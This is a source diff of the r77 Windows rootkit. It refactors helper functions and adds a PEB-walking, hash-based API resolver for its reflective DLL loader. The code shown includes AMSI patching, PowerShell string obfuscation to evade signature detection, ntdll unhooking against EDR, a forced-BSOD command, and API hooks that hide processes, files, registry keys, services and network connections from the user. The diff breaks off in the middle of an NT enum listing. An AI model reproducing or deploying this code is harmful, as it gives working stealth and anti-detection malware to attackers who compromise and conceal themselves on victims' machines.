diff --git a/Example/Example.csproj b/Example/Example.csproj index 0ce877a..92fbae4 100644 --- a/Example/Example.csproj +++ b/Example/Example.csproj @@ -28,7 +28,7 @@ AnyCPU - pdbonly + none true bin\Release\ TRACE diff --git a/Install/Install.c b/Install/Install.c index 1ee32f0..1193843 100644 --- a/Install/Install.c +++ b/Install/Install.c @@ -2,10 +2,8 @@ #include "resource.h" #include "r77def.h" #include "r77win.h" -#include "r77runtime.h" #include #include -#include int main() { @@ -66,7 +64,7 @@ LPWSTR GetPowershellCommand(BOOL is64Bit) // AMSI must be disabled for the entire process, because both powershell and .NET itself implement AMSI. // AMSI is only supported on Windows 10. - if (IsWindows10OrGreater2()) + if (R77_IsWindows10OrGreater()) { // Patch amsi.dll!AmsiScanBuffer prior to [Reflection.Assembly]::Load. // Do not use Add-Type, because it will invoke csc.exe and compile a C# DLL to disk. @@ -177,7 +175,7 @@ VOID ObfuscatePowershellVariable(LPWSTR command, LPCWSTR variableName) { for (LPWSTR ocurrence; ocurrence = StrStrIW(command, variableName);) { - libc_wmemcpy(ocurrence, newName, length); + i_wmemcpy(ocurrence, newName, length); } } } @@ -193,7 +191,7 @@ VOID ObfuscatePowershellStringLiterals(LPWSTR command) // will eventually end up in a list of known signatures. PWCHAR newCommand = NEW_ARRAY(WCHAR, 16384); - libc_memset(newCommand, 0, 16384 * sizeof(WCHAR)); + i_wmemset(newCommand, 0, 16384); LPBYTE random = NEW_ARRAY(BYTE, 16384); if (!GetRandomBytes(random, 16384)) return; @@ -225,10 +223,10 @@ VOID ObfuscatePowershellStringLiterals(LPWSTR command) { WCHAR c = beginQuote[i + 1]; WCHAR charNumber[10]; - libc_ltow(c, charNumber); + Int32ToStrW(c, charNumber); WCHAR obfuscatedChar[20]; - libc_memset(obfuscatedChar, 0, 20 * sizeof(WCHAR)); + i_wmemset(obfuscatedChar, 0, 20); // Randomly choose an obfuscation technique. switch ((*randomPtr++) & 3) diff --git a/Service/ProcessListener.c b/Service/ProcessListener.c index 1942dd5..ce8aeb4 100644 --- a/Service/ProcessListener.c +++ b/Service/ProcessListener.c @@ -1,7 +1,6 @@ #include "ProcessListener.h" #include "r77def.h" #include "r77win.h" -#include "r77runtime.h" #include VOID NewProcessListener(DWORD interval, PROCESSIDCALLBACK callback) @@ -44,7 +43,7 @@ static DWORD WINAPI NewProcessListenerThread(LPVOID parameter) if (isNew) notifier->Callback(currendProcesses[i]); } - libc_memcpy(previousProcesses, currendProcesses, sizeof(DWORD) * 10000); + i_memcpy(previousProcesses, currendProcesses, sizeof(DWORD) * 10000); previousProcessCount = currendProcessCount; } diff --git a/Service/Service.c b/Service/Service.c index 72a18c4..cff790d 100644 --- a/Service/Service.c +++ b/Service/Service.c @@ -2,19 +2,17 @@ #include "resource.h" #include "r77def.h" #include "r77win.h" -#include "r77runtime.h" #include "r77config.h" #include "r77process.h" #include "ProcessListener.h" #include "ControlPipeListener.h" #include -#include int main() { // Unhook DLL's that are monitored by EDR. UnhookDll(L"ntdll.dll"); - if (IsWindows10OrGreater2() || BITNESS(64)) + if (R77_IsWindows10OrGreater() || BITNESS(64)) { // Unhooking kernel32.dll on Windows 7 x86 fails. //TODO: Find out why unhooking kernel32.dll on Windows 7 x86 fails. @@ -283,11 +281,11 @@ VOID ControlCallback(DWORD controlCode, HANDLE pipe) LPBYTE redirectedData = NEW_ARRAY(BYTE, redirectedDataSize); DWORD offset = 0; - libc_memcpy(redirectedData + offset, path, pathSize); + i_memcpy(redirectedData + offset, path, pathSize); offset += pathSize; - libc_memcpy(redirectedData + offset, &fileSize, sizeof(DWORD)); + i_memcpy(redirectedData + offset, &fileSize, sizeof(DWORD)); offset += sizeof(DWORD); - libc_memcpy(redirectedData + offset, file, fileSize); + i_memcpy(redirectedData + offset, file, fileSize); RedirectCommand64(controlCode, redirectedData, redirectedDataSize); FREE(redirectedData); @@ -303,10 +301,10 @@ VOID ControlCallback(DWORD controlCode, HANDLE pipe) case CONTROL_SYSTEM_BSOD: { BOOLEAN previousValue = FALSE; - RtlAdjustPrivilege(20, TRUE, FALSE, &previousValue); + R77_RtlAdjustPrivilege(20, TRUE, FALSE, &previousValue); BOOLEAN oldIsCritical = FALSE; - RtlSetProcessIsCritical(TRUE, &oldIsCritical, FALSE); + R77_RtlSetProcessIsCritical(TRUE, &oldIsCritical, FALSE); ExitProcess(0); break; diff --git a/Stager/Stager.csproj b/Stager/Stager.csproj index b6bd08c..dedbd3c 100644 --- a/Stager/Stager.csproj +++ b/Stager/Stager.csproj @@ -27,7 +27,7 @@ AnyCPU - pdbonly + none true bin\Release\ TRACE diff --git a/TestConsole/TestConsole.csproj b/TestConsole/TestConsole.csproj index e6163ad..b44ab2a 100644 --- a/TestConsole/TestConsole.csproj +++ b/TestConsole/TestConsole.csproj @@ -32,7 +32,7 @@ bin\Release\ TRACE true - pdbonly + none AnyCPU 7.3 prompt diff --git a/r77/Config.c b/r77/Config.c index 010fe6a..611c827 100644 --- a/r77/Config.c +++ b/r77/Config.c @@ -1,6 +1,9 @@ #include "Config.h" #include "r77win.h" +static HANDLE ConfigThread; +static PR77_CONFIG Configuration; + VOID InitializeConfig() { // The configuration is read periodically in a background thread. diff --git a/r77/Config.h b/r77/Config.h index f511bfa..3c5cbd5 100644 --- a/r77/Config.h +++ b/r77/Config.h @@ -1,10 +1,8 @@ +#include "r77mindef.h" #include "r77config.h" #ifndef _CONFIG_H #define _CONFIG_H -static HANDLE ConfigThread; -static PR77_CONFIG Configuration; - /// /// Initializes the configuration system. /// diff --git a/r77/Hooks.c b/r77/Hooks.c index 0419de2..57aec36 100644 --- a/r77/Hooks.c +++ b/r77/Hooks.c @@ -1,15 +1,24 @@ #include "Hooks.h" #include "Rootkit.h" #include "Config.h" -#include "r77mindef.h" #include "r77def.h" #include "r77win.h" #include "ntdll.h" -#include "r77runtime.h" #include "detours.h" #include #include +static NT_NTQUERYSYSTEMINFORMATION OriginalNtQuerySystemInformation; +static NT_NTRESUMETHREAD OriginalNtResumeThread; +static NT_NTQUERYDIRECTORYFILE OriginalNtQueryDirectoryFile; +static NT_NTQUERYDIRECTORYFILEEX OriginalNtQueryDirectoryFileEx; +static NT_NTENUMERATEKEY OriginalNtEnumerateKey; +static NT_NTENUMERATEVALUEKEY OriginalNtEnumerateValueKey; +static NT_ENUMSERVICEGROUPW OriginalEnumServiceGroupW; +static NT_ENUMSERVICESSTATUSEXW OriginalEnumServicesStatusExW; +static NT_ENUMSERVICESSTATUSEXW OriginalEnumServicesStatusExW2; +static NT_NTDEVICEIOCONTROLFILE OriginalNtDeviceIoControlFile; + VOID InitializeHooks() { DetourTransactionBegin(); @@ -129,14 +138,15 @@ static NTSTATUS NTAPI HookedNtQuerySystemInformation(SYSTEM_INFORMATION_CLASS sy LARGE_INTEGER hiddenUserTime = { 0 }; if (GetProcessHiddenTimes(&hiddenKernelTime, &hiddenUserTime, NULL)) { + PNT_SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION performanceInformation = (PNT_SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION)systemInformation; ULONG numberOfProcessors = newReturnLength / sizeof(NT_SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION); + for (ULONG i = 0; i < numberOfProcessors; i++) { //TODO: This works, but it needs to be on a per-cpu basis instead of x / numberOfProcessors - PNT_SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION performanceInformation = &((PNT_SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION)systemInformation)[i]; - performanceInformation->KernelTime.QuadPart += hiddenUserTime.QuadPart / numberOfProcessors; - performanceInformation->UserTime.QuadPart -= hiddenUserTime.QuadPart / numberOfProcessors; - performanceInformation->IdleTime.QuadPart += (hiddenKernelTime.QuadPart + hiddenUserTime.QuadPart) / numberOfProcessors; + performanceInformation[i].KernelTime.QuadPart += hiddenUserTime.QuadPart / numberOfProcessors; + performanceInformation[i].UserTime.QuadPart -= hiddenUserTime.QuadPart / numberOfProcessors; + performanceInformation[i].IdleTime.QuadPart += (hiddenKernelTime.QuadPart + hiddenUserTime.QuadPart) / numberOfProcessors; } } } @@ -147,10 +157,12 @@ static NTSTATUS NTAPI HookedNtQuerySystemInformation(SYSTEM_INFORMATION_CLASS sy LONGLONG hiddenCycleTime = 0; if (GetProcessHiddenTimes(NULL, NULL, &hiddenCycleTime)) { - ULONG numberOfProcessors = newReturnLength / sizeof(LARGE_INTEGER); + PNT_SYSTEM_PROCESSOR_IDLE_CYCLE_TIME_INFORMATION idleCycleTimeInformation = (PNT_SYSTEM_PROCESSOR_IDLE_CYCLE_TIME_INFORMATION)systemInformation; + ULONG numberOfProcessors = newReturnLength / sizeof(NT_SYSTEM_PROCESSOR_IDLE_CYCLE_TIME_INFORMATION); + for (ULONG i = 0; i < numberOfProcessors; i++) { - ((PLARGE_INTEGER)systemInformation)[i].QuadPart += hiddenCycleTime / numberOfProcessors; + idleCycleTimeInformation[i].CycleTime += hiddenCycleTime / numberOfProcessors; } } } @@ -219,7 +231,7 @@ static NTSTATUS NTAPI HookedNtQueryDirectoryFile(HANDLE fileHandle, HANDLE event { if (nextEntryOffset) { - RtlCopyMemory + i_memcpy ( current, (LPBYTE)current + nextEntryOffset, @@ -281,7 +293,7 @@ static NTSTATUS NTAPI HookedNtQueryDirectoryFileEx(HANDLE fileHandle, HANDLE eve { if (nextEntryOffset) { - RtlCopyMemory + i_memcpy ( current, (LPBYTE)current + nextEntryOffset, @@ -393,7 +405,7 @@ static NTSTATUS NTAPI HookedNtDeviceIoControlFile(HANDLE fileHandle, HANDLE even { // Check, if the device is "\Device\Nsi" BYTE deviceName[500]; - if (NT_SUCCESS(NtQueryObject2(fileHandle, ObjectNameInformation, deviceName, 500, NULL)) && + if (NT_SUCCESS(R77_NtQueryObject(fileHandle, ObjectNameInformation, deviceName, 500, NULL)) && !StrCmpNIW(DEVICE_NSI, ((PUNICODE_STRING)deviceName)->Buffer, sizeof(DEVICE_NSI) / sizeof(WCHAR))) { PNT_NSI_PARAM nsiParam = (PNT_NSI_PARAM)outputBuffer; @@ -442,20 +454,20 @@ static NTSTATUS NTAPI HookedNtDeviceIoControlFile(HANDLE fileHandle, HANDLE even { if (nsiParam->Type == NsiTcp) { - RtlMoveMemory(tcpEntry, (LPBYTE)tcpEntry + nsiParam->EntrySize, (nsiParam->Count - i - 1) * nsiParam->EntrySize); + memmove(tcpEntry, (LPBYTE)tcpEntry + nsiParam->EntrySize, (nsiParam->Count - i - 1) * nsiParam->EntrySize); } else if (nsiParam->Type == NsiUdp) { - RtlMoveMemory(udpEntry, (LPBYTE)udpEntry + nsiParam->EntrySize, (nsiParam->Count - i - 1) * nsiParam->EntrySize); + memmove(udpEntry, (LPBYTE)udpEntry + nsiParam->EntrySize, (nsiParam->Count - i - 1) * nsiParam->EntrySize); } if (statusEntry) { - RtlMoveMemory(statusEntry, (LPBYTE)statusEntry + nsiParam->StatusEntrySize, (nsiParam->Count - i - 1) * nsiParam->StatusEntrySize); + memmove(statusEntry, (LPBYTE)statusEntry + nsiParam->StatusEntrySize, (nsiParam->Count - i - 1) * nsiParam->StatusEntrySize); } if (processEntry) { - RtlMoveMemory(processEntry, (LPBYTE)processEntry + nsiParam->ProcessEntrySize, (nsiParam->Count - i - 1) * nsiParam->ProcessEntrySize); + memmove(processEntry, (LPBYTE)processEntry + nsiParam->ProcessEntrySize, (nsiParam->Count - i - 1) * nsiParam->ProcessEntrySize); } } @@ -556,7 +568,7 @@ static LPWSTR FileInformationGetName(LPVOID fileInformation, FILE_INFORMATION_CL if (fileName && fileNameLength > 0) { - wmemcpy(name, fileName, fileNameLength / sizeof(WCHAR)); + i_wmemcpy(name, fileName, fileNameLength / sizeof(WCHAR)); name[fileNameLength / sizeof(WCHAR)] = L'\0'; return name; } @@ -643,7 +655,7 @@ static VOID FilterEnumServiceStatus(LPENUM_SERVICE_STATUSW services, LPDWORD ser IsServiceNameHidden(services[i].lpServiceName) || IsServiceNameHidden(services[i].lpDisplayName)) { - RtlMoveMemory(&services[i], &services[i + 1], (*servicesReturned - i - 1) * sizeof(ENUM_SERVICE_STATUSW)); + memmove(&services[i], &services[i + 1], (*servicesReturned - i - 1) * sizeof(ENUM_SERVICE_STATUSW)); (*servicesReturned)--; i--; } @@ -659,7 +671,7 @@ static VOID FilterEnumServiceStatusProcess(LPENUM_SERVICE_STATUS_PROCESSW servic IsServiceNameHidden(services[i].lpServiceName) || IsServiceNameHidden(services[i].lpDisplayName)) { - RtlMoveMemory(&services[i], &services[i + 1], (*servicesReturned - i - 1) * sizeof(ENUM_SERVICE_STATUS_PROCESSW)); + memmove(&services[i], &services[i + 1], (*servicesReturned - i - 1) * sizeof(ENUM_SERVICE_STATUS_PROCESSW)); (*servicesReturned)--; i--; } diff --git a/r77/Hooks.h b/r77/Hooks.h index 72638de..476c088 100644 --- a/r77/Hooks.h +++ b/r77/Hooks.h @@ -3,17 +3,6 @@ #ifndef _HOOKS_H #define _HOOKS_H -static NT_NTQUERYSYSTEMINFORMATION OriginalNtQuerySystemInformation; -static NT_NTRESUMETHREAD OriginalNtResumeThread; -static NT_NTQUERYDIRECTORYFILE OriginalNtQueryDirectoryFile; -static NT_NTQUERYDIRECTORYFILEEX OriginalNtQueryDirectoryFileEx; -static NT_NTENUMERATEKEY OriginalNtEnumerateKey; -static NT_NTENUMERATEVALUEKEY OriginalNtEnumerateValueKey; -static NT_ENUMSERVICEGROUPW OriginalEnumServiceGroupW; -static NT_ENUMSERVICESSTATUSEXW OriginalEnumServicesStatusExW; -static NT_ENUMSERVICESSTATUSEXW OriginalEnumServicesStatusExW2; -static NT_NTDEVICEIOCONTROLFILE OriginalNtDeviceIoControlFile; - /// /// Attaches hooks to r77 specific API's. /// diff --git a/r77/ReflectiveDllMain.c b/r77/ReflectiveDllMain.c index 2bb0ff8..8b519ca 100644 --- a/r77/ReflectiveDllMain.c +++ b/r77/ReflectiveDllMain.c @@ -1,13 +1,11 @@ #include "ReflectiveDllMain.h" #include "ntdll.h" #include "r77win.h" -#include "r77runtime.h" BOOL WINAPI ReflectiveDllMain(LPBYTE dllBase) { - // All functions that are used in the reflective loader must be found by searching the PEB. - // Functions, such as memcpy need to be handwritten, because no functions are imported, yet. - // Switch statements cannot be used, because a jump table would be created and the shellcode would not be position independent anymore. + // All functions that are used in the reflective loader must be found by searching the PEB, because no functions are imported, yet. + // Switch statements must not be used, because a jump table would be created and the shellcode would not be position independent anymore. NT_NTFLUSHINSTRUCTIONCACHE ntFlushInstructionCache = (NT_NTFLUSHINSTRUCTIONCACHE)PebGetProcAddress(0x3cfa685d, 0x534c0ab8); NT_LOADLIBRARYA loadLibraryA = (NT_LOADLIBRARYA)PebGetProcAddress(0x6a4abc5b, 0xec0e4e8e); @@ -24,13 +22,13 @@ BOOL WINAPI ReflectiveDllMain(LPBYTE dllBase) if (allocatedMemory) { // Copy optional header to new memory. - libc_memcpy(allocatedMemory, dllBase, ntHeaders->OptionalHeader.SizeOfHeaders); + i_memcpy(allocatedMemory, dllBase, ntHeaders->OptionalHeader.SizeOfHeaders); // Copy sections to new memory. PIMAGE_SECTION_HEADER sections = (PIMAGE_SECTION_HEADER)((LPBYTE)&ntHeaders->OptionalHeader + ntHeaders->FileHeader.SizeOfOptionalHeader); for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) { - libc_memcpy(allocatedMemory + sections[i].VirtualAddress, dllBase + sections[i].PointerToRawData, sections[i].SizeOfRawData); + i_memcpy(allocatedMemory + sections[i].VirtualAddress, dllBase + sections[i].PointerToRawData, sections[i].SizeOfRawData); } // Read the import directory, call LoadLibraryA to import dependencies and patch the IAT. @@ -100,4 +98,57 @@ BOOL WINAPI ReflectiveDllMain(LPBYTE dllBase) // If loading failed, DllMain was not executed either. Return FALSE. return FALSE; +} +static LPVOID PebGetProcAddress(DWORD moduleHash, DWORD functionHash) +{ +#ifdef _WIN64 + PNT_PEB_LDR_DATA peb = (PNT_PEB_LDR_DATA)((PNT_PEB)__readgsqword(0x60))->Ldr; +#else + PNT_PEB_LDR_DATA peb = (PNT_PEB_LDR_DATA)((PNT_PEB)__readfsdword(0x30))->Ldr; +#endif + + PNT_LDR_DATA_TABLE_ENTRY firstPebEntry = (PNT_LDR_DATA_TABLE_ENTRY)peb->InMemoryOrderModuleList.Flink; + PNT_LDR_DATA_TABLE_ENTRY pebEntry = firstPebEntry; + do + { + DWORD entryHash = 0; + if (pebEntry->BaseDllName.Buffer) + { + for (USHORT i = 0; i < pebEntry->BaseDllName.Length; i++) + { + CHAR c = ((LPCSTR)pebEntry->BaseDllName.Buffer)[i]; + entryHash = _rotr(entryHash, 13) + (c >= 'a' ? c - 0x20 : c); + } + } + + // Find module by hash + if (entryHash == moduleHash) + { + LPBYTE dllBase = (LPBYTE)pebEntry->DllBase; + PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(dllBase + ((PIMAGE_DOS_HEADER)dllBase)->e_lfanew); + PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)(dllBase + ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); + LPDWORD nameDirectory = (LPDWORD)(dllBase + exportDirectory->AddressOfNames); + LPWORD nameOrdinalDirectory = (LPWORD)(dllBase + exportDirectory->AddressOfNameOrdinals); + + // Find function by hash + for (DWORD i = 0; i < exportDirectory->NumberOfNames; i++, nameDirectory++, nameOrdinalDirectory++) + { + DWORD hash = 0; + for (LPCSTR currentFunctionName = (LPCSTR)(dllBase + *nameDirectory); *currentFunctionName; currentFunctionName++) + { + hash = _rotr(hash, 13) + *currentFunctionName; + } + + if (hash == functionHash) + { + return dllBase + *(LPDWORD)(dllBase + exportDirectory->AddressOfFunctions + *nameOrdinalDirectory * sizeof(DWORD)); + } + } + + return NULL; + } + } + while ((pebEntry = (PNT_LDR_DATA_TABLE_ENTRY)pebEntry->InMemoryOrderModuleList.Flink) != firstPebEntry); + + return NULL; } \ No newline at end of file diff --git a/r77/ReflectiveDllMain.h b/r77/ReflectiveDllMain.h index 30653b0..00fbaa6 100644 --- a/r77/ReflectiveDllMain.h +++ b/r77/ReflectiveDllMain.h @@ -12,5 +12,14 @@ /// otherwise, FALSE. /// __declspec(dllexport) BOOL WINAPI ReflectiveDllMain(LPBYTE dllBase); +/// +/// Retrieves a function pointer from the PEB. +/// +/// The hash of the module name. The module must be loaded. +/// The hash of the function name. +/// +/// A pointer to the function, or NULL, if the function could not be found. +/// +static LPVOID PebGetProcAddress(DWORD moduleHash, DWORD functionHash); #endif \ No newline at end of file diff --git a/r77/Rootkit.c b/r77/Rootkit.c index d5de289..61939cb 100644 --- a/r77/Rootkit.c +++ b/r77/Rootkit.c @@ -4,6 +4,9 @@ #include "r77def.h" #include +static BOOL RootkitInitialized; +static HINSTANCE Module; + BOOL InitializeRootkit(HINSTANCE module) { // If the process starts with $77, do not load r77. diff --git a/r77/Rootkit.h b/r77/Rootkit.h index 059ebb9..ba8dee2 100644 --- a/r77/Rootkit.h +++ b/r77/Rootkit.h @@ -2,9 +2,6 @@ #ifndef _ROOTKIT_H #define _ROOTKIT_H -static BOOL RootkitInitialized; -static HINSTANCE Module; - /// /// Initializes r77, writes r77 header and installs hooks. /// This function returns FALSE, if r77 is already injected, or if this process is either the r77 service or a helper process, or the process starts with $77. diff --git a/r77api/clist.c b/r77api/clist.c index effb404..3d5b1a4 100644 --- a/r77api/clist.c +++ b/r77api/clist.c @@ -1,5 +1,4 @@ #include "clist.h" -#include "r77runtime.h" #include PINTEGER_LIST CreateIntegerList() @@ -34,7 +33,7 @@ VOID LoadIntegerListFromRegistryKey(PINTEGER_LIST list, HKEY key) VOID DeleteIntegerList(PINTEGER_LIST list) { FREE(list->Values); - libc_memset(list, 0, sizeof(INTEGER_LIST)); + i_memset(list, 0, sizeof(INTEGER_LIST)); FREE(list); } VOID IntegerListAdd(PINTEGER_LIST list, ULONG value) @@ -43,7 +42,7 @@ VOID IntegerListAdd(PINTEGER_LIST list, ULONG value) { list->Capacity += 16; PULONG newValues = NEW_ARRAY(ULONG, list->Capacity); - libc_memcpy(newValues, list->Values, list->Count * sizeof(ULONG)); + i_memcpy(newValues, list->Values, list->Count * sizeof(ULONG)); PULONG oldValues = list->Values; list->Values = newValues; @@ -126,7 +125,7 @@ VOID DeleteStringList(PSTRING_LIST list) } FREE(list->Values); - libc_memset(list, 0, sizeof(STRING_LIST)); + i_memset(list, 0, sizeof(STRING_LIST)); FREE(list); } VOID StringListAdd(PSTRING_LIST list, LPCWSTR value) @@ -137,7 +136,7 @@ VOID StringListAdd(PSTRING_LIST list, LPCWSTR value) { list->Capacity += 16; LPWSTR *newValues = NEW_ARRAY(LPWSTR, list->Capacity); - libc_memcpy(newValues, list->Values, list->Count * sizeof(LPWSTR)); + i_memcpy(newValues, list->Values, list->Count * sizeof(LPWSTR)); LPWSTR *oldValues = list->Values; list->Values = newValues; diff --git a/r77api/ntdll.h b/r77api/ntdll.h index 6622d54..1ac0928 100644 --- a/r77api/ntdll.h +++ b/r77api/ntdll.h @@ -18,206 +18,206 @@ typedef enum _NT_SYSTEM_INFORMATION_CLASS SystemProcessorInformation = 1, SystemPathInformation = 4, SystemCallCountInformation = 6, - SystemDeviceInformation, + SystemDeviceInformation = 7, SystemFlagsInformation = 9, - SystemCallTimeInformation, - SystemModuleInformation, - SystemLocksInformation, - SystemStackTraceInformation, - SystemPagedPoolInformation, - SystemNonPagedPoolInformation, - SystemHandleInformation, - SystemObjectInformation, - SystemPageFileInformation, - SystemVdmInstemulInformation, - SystemVdmBopInformation, - SystemFileCacheInformation, - SystemPoolTagInformation, + SystemCallTimeInformation = 10, + SystemModuleInformation = 11, + SystemLocksInformation = 12, + SystemStackTraceInformation = 13, + SystemPagedPoolInformation = 14, + SystemNonPagedPoolInformation = 15, + SystemHandleInformation = 16, + SystemObjectInformation = 17, + SystemPageFileInformation = 18, + SystemVdmInstemulInformation = 19, + SystemVdmBopInformation = 20, + SystemFileCacheInformation = 21, + SystemPoolTagInformation = 22, SystemDpcBehaviorInformation = 24, - SystemFullMemoryInformation, - SystemLoadGdiDriverInformation, - SystemUnloadGdiDriverInformation, - SystemTimeAdjustmentInformation, - SystemSummaryMemoryInformation, - SystemMirrorMemoryInformation, - SystemPerformanceTraceInformation, - SystemObsolete0, + SystemFullMemoryInformation = 25, + SystemLoadGdiDriverInformation = 26, + SystemUnloadGdiDriverInformation = 27, + SystemTimeAdjustmentInformation = 28, + SystemSummaryMemoryInformation = 29, + SystemMirrorMemoryInformation = 30, + SystemPerformanceTraceInformation = 31, + SystemObsolete0 = 32, SystemCrashDumpStateInformation = 34, - SystemKernelDebuggerInformation, - SystemContextSwitchInformation, + SystemKernelDebuggerInformation = 35, + SystemContextSwitchInformation = 36, SystemExtendServiceTableInformation = 38, - SystemPrioritySeperation, - SystemVerifierAddDriverInformation, - SystemVerifierRemoveDriverInformation, - SystemProcessorIdleInformation, - SystemLegacyDriverInformation, - SystemCurrentTimeZoneInformation, + SystemPrioritySeperation = 39, + SystemVerifierAddDriverInformation = 40, + SystemVerifierRemoveDriverInformation = 41, + SystemProcessorIdleInformation = 42, + SystemLegacyDriverInformation = 43, + SystemCurrentTimeZoneInformation = 44, SystemTimeSlipNotification = 46, - SystemSessionCreate, - SystemSessionDetach, - SystemSessionInformation, - SystemRangeStartInformation, - SystemVerifierInformation, - SystemVerifierThunkExtend, - SystemSessionProcessInformation, - SystemLoadGdiDriverInSystemSpace, - SystemNumaProcessorMap, - SystemPrefetcherInformation, - SystemExtendedProcessInformation, - SystemRecommendedSharedDataAlignment, - SystemComPlusPackage, - SystemNumaAvailableMemory, - SystemProcessorPowerInformation, - SystemEmulationBasicInformation, - SystemEmulationProcessorInformation, - SystemExtendedHandleInformation, - SystemLostDelayedWriteInformation, - SystemBigPoolInformation, - SystemSessionPoolTagInformation, - SystemSessionMappedViewInformation, - SystemHotpatchInformation, - SystemObjectSecurityMode, - SystemWatchdogTimerHandler, - SystemWatchdogTimerInformation, - SystemLogicalProcessorInformation, - SystemWow64SharedInformationObsolete, - SystemRegisterFirmwareTableInformationHandler, - SystemFirmwareTableInformation, - SystemModuleInformationEx, - SystemVerifierTriageInformation, - SystemSuperfetchInformation, - SystemMemoryListInformation, - SystemFileCacheInformationEx, - SystemThreadPriorityClientIdInformation, - SystemProcessorIdleCycleTimeInformation, - SystemVerifierCancellationInformation, - SystemProcessorPowerInformationEx, - SystemRefTraceInformation, - SystemSpecialPoolInformation, - SystemProcessIdInformation, - SystemErrorPortInformation, - SystemBootEnvironmentInformation, - SystemHypervisorInformation, - SystemVerifierInformationEx, - SystemTimeZoneInformation, - SystemImageFileExecutionOptionsInformation, - SystemCoverageInformation, - SystemPrefetchPatchInformation, - SystemVerifierFaultsInformation, - SystemSystemPartitionInformation, - SystemSystemDiskInformation, - SystemProcessorPerformanceDistribution, - SystemNumaProximityNodeInformation, - SystemDynamicTimeZoneInformation, + SystemSessionCreate = 47, + SystemSessionDetach = 48, + SystemSessionInformation = 49, + SystemRangeStartInformation = 50, + SystemVerifierInformation = 51, + SystemVerifierThunkExtend = 52, + SystemSessionProcessInformation = 53, + SystemLoadGdiDriverInSystemSpace = 54, + SystemNumaProcessorMap = 55, + SystemPrefetcherInformation = 56, + SystemExtendedProcessInformation = 57, + SystemRecommendedSharedDataAlignment = 58, + SystemComPlusPackage = 59, + SystemNumaAvailableMemory = 60, + SystemProcessorPowerInformation = 61, + SystemEmulationBasicInformation = 62, + SystemEmulationProcessorInformation = 63, + SystemExtendedHandleInformation = 64, + SystemLostDelayedWriteInformation = 65, + SystemBigPoolInformation = 66, + SystemSessionPoolTagInformation = 67, + SystemSessionMappedViewInformation = 68, + SystemHotpatchInformation = 69, + SystemObjectSecurityMode = 70, + SystemWatchdogTimerHandler = 71, + SystemWatchdogTimerInformation = 72, + SystemLogicalProcessorInformation = 73, + SystemWow64SharedInformationObsolete = 74, + SystemRegisterFirmwareTableInformationHandler = 75, + SystemFirmwareTableInformation = 76, + SystemModuleInformationEx = 77, + SystemVerifierTriageInformation = 78, + SystemSuperfetchInformation = 79, + SystemMemoryListInformation = 80, + SystemFileCacheInformationEx = 81, + SystemThreadPriorityClientIdInformation = 82, + SystemProcessorIdleCycleTimeInformation = 83, + SystemVerifierCancellationInformation = 84, + SystemProcessorPowerInformationEx = 85, + SystemRefTraceInformation = 86, + SystemSpecialPoolInformation = 87, + SystemProcessIdInformation = 88, + SystemErrorPortInformation = 89, + SystemBootEnvironmentInformation = 90, + SystemHypervisorInformation = 91, + SystemVerifierInformationEx = 92, + SystemTimeZoneInformation = 93, + SystemImageFileExecutionOptionsInformation = 94, + SystemCoverageInformation = 95, + SystemPrefetchPatchInformation = 96, + SystemVerifierFaultsInformation = 97, + SystemSystemPartitionInformation = 98, + SystemSystemDiskInformation = 99, + SystemProcessorPerformanceDistribution = 100, + SystemNumaProximityNodeInformation = 101, + SystemDynamicTimeZoneInformation = 102, SystemProcessorMicrocodeUpdateInformation = 104, - SystemProcessorBrandString, - SystemVirtualAddressInformation, - SystemLogicalProcessorAndGroupInformation, - SystemProcessorCycleTimeInformation, - SystemStoreInformation, - SystemRegistryAppendString, - SystemAitSamplingValue, - SystemVhdBootInformation, - SystemCpuQuotaInformation, - SystemNativeBasicInformation, - SystemErrorPortTimeouts, - SystemLowPriorityIoInformation, - SystemTpmBootEntropyInformation, - SystemVerifierCountersInformation, - SystemPagedPoolInformationEx, - SystemSystemPtesInformationEx, - SystemNodeDistanceInformation, - SystemAcpiAuditInformation, - SystemBasicPerformanceInformation, - SystemQueryPerformanceCounterInformation, - SystemSessionBigPoolInformation, - SystemBootGraphicsInformation, - SystemScrubPhysicalMemoryInformation, - SystemBadPageInformation, - SystemProcessorProfileControlArea, - SystemCombinePhysicalMemoryInformation, - SystemEntropyInterruptTimingInformation, - SystemConsoleInformation, - SystemPlatformBinaryInformation, + SystemProcessorBrandString = 105, + SystemVirtualAddressInformation = 106, + SystemLogicalProcessorAndGroupInformation = 107, + SystemProcessorCycleTimeInformation = 108, + SystemStoreInformation = 109, + SystemRegistryAppendString = 110, + SystemAitSamplingValue = 111, + SystemVhdBootInformation = 112, + SystemCpuQuotaInformation = 113, + SystemNativeBasicInformation = 114, + SystemErrorPortTimeouts = 115, + SystemLowPriorityIoInformation = 116, + SystemTpmBootEntropyInformation = 117, + SystemVerifierCountersInformation = 118, + SystemPagedPoolInformationEx = 119, + SystemSystemPtesInformationEx = 120, + SystemNodeDistanceInformation = 121, + SystemAcpiAuditInformation = 122, + SystemBasicPerformanceInformation = 123, + SystemQueryPerformanceCounterInformation = 124, + SystemSessionBigPoolInformation = 125, + SystemBootGraphicsInformation = 126, + SystemScrubPhysicalMemoryInformation = 127, + SystemBadPageInformation = 128, + SystemProcessorProfileControlArea = 129, + SystemCombinePhysicalMemoryInformation = 130, + SystemEntropyInterruptTimingInformation = 131, + SystemConsoleInformation = 132, + SystemPlatformBinaryInformation = 133, SystemHypervisorProcessorCountInformation = 135, - SystemDeviceDataInformation, - SystemDeviceDataEnumerationInformation, - SystemMemoryTopologyInformation, - SystemMemoryChannelInformation, - SystemBootLogoInformation, - SystemProcessorPerformanceInformationEx, - SystemCriticalProcessErrorLogInformation, - SystemSecureBootPolicyInformation, - SystemPageFileInformationEx, - SystemSecureBootInformation, - SystemEntropyInterruptTimingRawInformation, - SystemPortableWorkspaceEfiLauncherInformation, - SystemFullProcessInformation, - SystemKernelDebuggerInformationEx, - SystemBootMetadataInformation, - SystemSoftRebootInformation, - SystemElamCertificateInformation, - SystemOfflineDumpConfigInformation, - SystemProcessorFeaturesInformation, - 